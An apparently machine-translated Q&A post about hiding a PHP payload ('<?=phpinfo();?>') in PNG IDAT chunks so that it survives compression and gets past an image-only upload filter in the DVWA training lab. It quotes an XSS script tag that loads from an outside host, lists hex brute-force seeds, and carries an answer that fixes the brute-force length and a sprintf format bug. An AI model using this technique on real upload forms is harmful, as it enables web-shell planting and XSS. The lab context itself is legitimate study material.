perl — оболочка PHP на блоке IDAT PNG

Я изучаю DVWA о загрузке файлов с высокой уязвимостью. Я хочу обойти фильтр, который позволяет загружать только изображения, такие как JPG или PNG. Так что я планирую встраивать полезную нагрузку <?=phpinfo(); в файл изображения. После поиска я нашел эти отличные блоги:

  1. XSS на Facebook через PNG & Wonky Content Types
  2. Кодирование веб-оболочек в чанках PNG IDAT
  3. Пересмотр полезных нагрузок XSS в фрагментах PNG IDAT

Мне лень изучать алгоритм Deflate, искать генератор оболочек png и найти этот замечательный репозиторий:

  1. Генератор полезной нагрузки PNG с PERL

После клонирования и запуска все работает отлично. Но полезная нагрузка для XSS Vuln выход здесь:

<SCRIPT SRC=//ABC.DE></SCRIPT>

Я хочу закончить цель DVWA. Это говорит

Выполните любую функцию PHP по вашему выбору в целевой системе (например, phpinfo () или system ()) благодаря этой уязвимости при загрузке файлов.

Итак, полезная нагрузка, которую я хочу: <?=phpinfo();?> вставлять фрагменты IDAT в PNG, которые эта полезная нагрузка пережила после фильтров и сжатия в IDAT. В репозитории я нашел логику bruteforce (), описанную ранее в блоге f1n1te / idontplaydarts. Я копирую исходный код и пытаюсь сжать сжатие с помощью полезной нагрузки Вот но не на символьных символах. Исходя из источника / генератора, у меня есть 2 вопроса:

  1. Почему на источник, перебор на символе<«и»? «, а также еще один символ ascii? Но он работает на ascii» a-z » & «A-Z».
  2. На 3 блогах & 1 репозиторий, который я нашел, использует эту полезную нагрузку для брутфорса Deflate:

    7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f — f1n1te
    f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f — Адам
    03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310 — idontplaydarts
    0000f399281922111510691928276e6e5313241e1f576e69b16375535b6f0000 — Репозиторий

Как эти парни получают всю эту полезную нагрузку на брутфорс Сжать сжатие?

1

Решение

Брутфорс терпит неудачу, потому что он слишком короткий. Вам нужно 5 кусочков, а не только 4. Я пометил лишнюю цифру стрелкой.

0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//PH></script>\3\3\0w\314\10)"0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//<?></script>\3\3\0w\314\10)"↑

Программа также содержит ошибку, которая не позволяет полностью исчерпать пространство поиска. Спецификатор формата для sprintf должен быть дополнен нулями, в противном случае строки hexdigit слишком короткие; другими словами, в оригинальной программе это должно быть %04xне %x,

1

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]